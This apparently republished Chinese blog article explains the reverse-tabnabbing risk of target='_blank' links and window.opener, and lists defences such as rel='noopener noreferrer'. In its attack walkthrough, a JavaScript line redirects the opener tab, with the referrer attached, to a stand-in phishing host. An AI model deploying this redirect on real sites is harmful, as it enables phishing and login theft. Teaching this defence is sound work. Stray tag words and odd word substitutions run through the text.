你未曾察覺的隱患:危險的 target="_blank" 與 「opener」

在網頁中使用連接時,若是想要讓瀏覽器自動在新的標籤頁打開指定的地址,一般的作法就是在 a 標籤上添加 target等於"_blank" 屬性。
然而,就是這個屬性,爲釣魚攻擊者帶來了可乘之機。

起源

parentopener

在說 opener 以前,能夠先聊聊 <iframe> 中的 parentjavascript

咱們知道,在 <iframe> 中提供了一個用於父子頁面交互的對象,叫作 window.parent,咱們能夠經過 window.parent 對象來從框架中的頁面訪問父級頁面的 windowhtml

openerparent 同樣,只不過是用於 <a target="_blank"> 在新標籤頁打開的頁面的。經過 <a target="_blank"> 打開的頁面,能夠直接使用 window.opener 來訪問來源頁面的 window 對象。前端

同域與跨域

瀏覽器提供了完整的跨域保護,在域名相同時,parent 對象和 opener 對象實際上就直接是上一級的 window 對象;而當域名不一樣時,parentopener 則是通過包裝的一個 global 對象。這個 global 對象僅提供很是有限的屬性訪問,而且在這僅有的幾個屬性中,大部分也都是不容許訪問的(訪問會直接拋出 DOMException)。java

<iframe> 中,提供了一個 sandbox 屬性用於控制框架中的頁面的權限,所以即便是同域,也能夠控制 <iframe> 的安全性。後端

利用

若是,你的網站上有一個連接,使用了 target="_blank",那麼一旦用戶點擊這個連接並進入一個新的標籤,新標籤中的頁面若是存在惡意代碼,就能夠將你的網站直接導航到一個虛假網站。此時,若是用戶回到你的標籤頁,看到的就是被替換過的頁面了。跨域

詳細步驟

  1. 在你的網站 https://example.com 上存在一個連接:瀏覽器

    <a href="https://an.evil.site" target="_blank">進入一個「邪惡」的網站</a>
  2. 用戶點擊了這個連接,在新的標籤頁打開了這個網站。這個網站能夠經過 HTTP Header 中的 Referer 屬性來判斷用戶的來源。安全

    而且,這個網站上包含着相似於這樣的 JavaScript 代碼:微信

    const url = encodeURIComponent('{{header.referer}}');
    window.opener.location.replace('https://a.fake.site/?' + url);
  3. 此時,用戶在繼續瀏覽這個新的標籤頁,而原來的網站所在的標籤頁此時已經被導航到了 https://a.fake.site/?https%3A%2F%2Fexample.com%2F
  4. 惡意網站 https://a.fake.site 根據 Query String 來僞造一個足以欺騙用戶的頁面,並展現出來(期間還能夠作一次跳轉,使得瀏覽器的地址欄更具備迷惑性)。
  5. 用戶關閉 https://an.evil.site 的標籤頁,回到原來的網站………………已經回不去了。
上面的攻擊步驟是在跨域的狀況下的,在跨域狀況下, opener 對象和 parent 同樣,是受到限制的,僅提供很是有限的屬性訪問,而且在這僅有的幾個屬性中,大部分也都是不容許訪問的(訪問會直接拋出 DOMException)。

可是與 parent 不一樣的是,在跨域的狀況下,opener 仍然能夠調用 location.replace 方法parent 則不能夠。框架

若是是在同域的狀況下(好比一個網站上的某一個頁面被植入了惡意代碼),則狀況要比上面嚴重得多。

防護

<iframe> 中有 sandbox 屬性,而連接,則可使用下面的辦法:

1. Referrer Policy 和 noreferrer

上面的攻擊步驟中,用到了 HTTP Header 中的 Referer 屬性,實際上能夠在 HTTP 的響應頭中增長 Referrer Policy 頭來保證來源隱私安全。

Referrer Policy 須要修改後端代碼來實現,而在前端,也可使用 <a> 標籤的 rel 屬性來指定 rel="noreferrer" 來保證來源隱私安全。

<a href="https://an.evil.site" target="_blank" rel="noreferrer">進入一個「邪惡」的網站</a>
可是要注意的是:即便限制了 referer 的傳遞,仍然不能阻止原標籤被惡意跳轉。

2. noopener

爲了安全,現代瀏覽器都支持在 <a> 標籤的 rel 屬性中指定 rel="noopener",這樣,在打開的新標籤頁中,將沒法再使用 opener 對象了,它爲設置爲了 null

<a href="https://an.evil.site" target="_blank" rel="noopener">進入一個「邪惡」的網站</a>

3. JavaScript

noopener 屬性看似是解決了全部問題,可是...瀏覽器的兼容性問題...

能夠看到,如今絕大多數瀏覽器都已經兼容了 rel="noopener" 屬性了。可是,爲了保護稍舊的「近代」瀏覽器或是很舊的「古代」瀏覽器甚至是「遠古」瀏覽器,只有 noopener 屬性仍是遠遠不夠的。

這時,就只能請出下面這段原生 JavaScript 來幫忙了。

"use strict";
function openUrl(url) {
  var newTab = window.open();
  newTab.opener = null;
  newTab.location = url;
}

推薦

首先,在網站中的連接上,若是使用了 target="_blank",就要帶上 rel="noopener",而且建議帶上 rel="noreferrer"。相似於這樣:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">進入一個「邪惡」的網站</a>

固然,在跳轉到第三方網站的時候,爲了 SEO 權重,還建議帶上 rel="nofollow",因此最終相似於這樣:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">進入一個「邪惡」的網站</a>

性能

最後,再來講說性能問題。

若是網站使用了 <a target="_blank">,那麼新打開的標籤頁的性能將會影響到當前頁面。此時若是新打開的頁面中執行了一個很是龐大的 JavaScript 腳本,那麼原始標籤頁也會受到影響,會出現卡頓的現象(固然不至於卡死)。

而若是在連接中加入了 noopener,則此時兩個標籤頁將會互不干擾,使得原頁面的性能不會受到新頁面的影響。


文 / jinliming2
一條對新鮮事物充滿了好奇心的鹹魚

編 / 熒聲

本文已由做者受權發佈,版權屬於創宇前端。歡迎註明出處轉載本文。本文連接:https://knownsec-fed.com/2018...

想要訂閱更多來自知道創宇開發一線的分享,請搜索關注咱們的微信公衆號:創宇前端(KnownsecFED)。歡迎留言討論,咱們會盡量回復。

歡迎點贊、收藏、留言評論、轉發分享和打賞支持咱們。打賞將被徹底轉交給文章做者。

感謝您的閱讀。

相關文章
相關標籤/搜索